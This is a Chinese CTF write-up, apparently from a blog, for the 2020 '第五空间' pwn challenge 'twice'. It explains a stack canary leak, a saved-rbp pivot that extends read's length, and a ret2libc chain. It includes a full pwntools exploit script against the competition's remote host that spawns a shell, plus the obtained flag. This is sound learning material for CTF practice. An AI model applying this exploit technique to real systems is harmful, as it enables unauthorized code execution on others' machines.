2020“第五空间”wp-pwn-twice

这次第五空间总算不是第500空间了…
题难度还行。pwn只做了一个twice,不过好歹是正式比赛第一次做出来pwn…放wp吧。
老规矩,先checksec一波
在这里插入图片描述
64位,开了canary和nx。上IDA。
main函数主要就是一个循环
在这里插入图片描述
sub_4007A9是这样的
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200625203301527.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTIwOTk2Mw==,size_16,color_FFFFFF,t_70
a1就是传入的nCount(初值为0) 。结合主函数的循环,可以知道整个循环只能跑两次。
第二次执行完后返回0,就跳出循环了。
整个的函数作用大体上就是向s数组中读v3个字节。
sub_40076D长这样
在这里插入图片描述
第一次返回89,第二次返回112。看一下栈
在这里插入图片描述
算一下,s跟canary的距离是88,89个字符正好可以覆盖掉canary的‘\x00’,使得下面puts打印出来
canary和saved ebp(一般来说这个没用,不过这道题这个很关键)。
第一次泄露了canary,第二次就可以bypass canary实现栈溢出了。
问题是输入只有112个字符,88+8(canary)+8(saved ebp)+8(return addr)=112
只够覆盖返回地址。就经典的攻击手段来说,长度根本不够。
这就需要新的方法了。回头看一下read函数相关的汇编。
在这里插入图片描述
可以看到,写入长度是由栈上数据决定的。这就意味着,如果我们把saved ebp覆盖成栈地址,
再把返回值改成这段汇编的开头,写入字节数就会由栈上的数据决定。

这里选择把saved ebp覆盖成第一次leak出来的saved ebp,结果发现输入长度被改成了我们输入的填充数据。(例如,padding=‘a’*88,输入长度就是0x61616161)。
当然这里有调试偷懒成分在,不过只要你有了第一次leak 出来的saved ebp,理论上可以通过操纵第二次的saved ebp使输入长度为栈上的任何值。
于是我们有了第三次(几乎)无限长度的输入了。接下来就是常规套路,leak 函数地址,把返回值调成start(清除各种状态防止出问题,貌似再跳到read直接执行写入也可以) 再重复之前的套路,三次溢出并get shell。
贴一下POC

from pwn import *                                          
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

#r  = process('/home/xyzmpv/pwn')                                     
r = remote('121.36.59.166', 9999) 

e = ELF('/home/xyzmpv/pwn')                                            
puts_addr = e.plt['puts']
libc_start_main_addr = e.got["__libc_start_main"]

r.recvuntil('>') #第一次溢出
r.sendline('a'*88)
r.recvuntil('\n')
canary=r.recv(7) #leak canary
ebp=r.recv(6)  #leak ebp
ebp=ebp.ljust(8,'\x00)

r.recvuntil('>')
r.send('a'*88+'\x00'+canary+ebp+p64(0x400823)) #第二次溢出 过canary 调ebp 制造无限长度写
r.send('a'*72+'\x00'+canary+ebp+p64(0x400923)+p64(libc_start_main_addr)+p64(puts_addr)+p64(0x400630))  #第三次溢出 leak libc_start_main_addr 

r.recvuntil('\n')
libc_addr = r.recvuntil('\x7f')
libc_addr = libc_addr.ljust(8,'\x00')
libc_addr = u64(libc_addr)
libc = LibcSearcher('__libc_start_main',libc_addr)
libcbase = libc_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

r.recvuntil('>') 
r.sendline('a'*88)
r.recvuntil('\n')
canary=r.recv(7)
ebp=r.recv(6)
ebp=ebp.ljust(8,'\x00')

r.recvuntil('>')
r.send('a'*88+'\x00'+canary+ebp+p64(0x400823))
r.send('a'*72+'\x00'+canary+ebp+p64(0x400923)+p64(binsh_addr)+p64(system_addr)) # get shell
r.interactive()

然后得到flag:flag{cvbEH0Q35q2lHE1KBQobYjqyp4}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值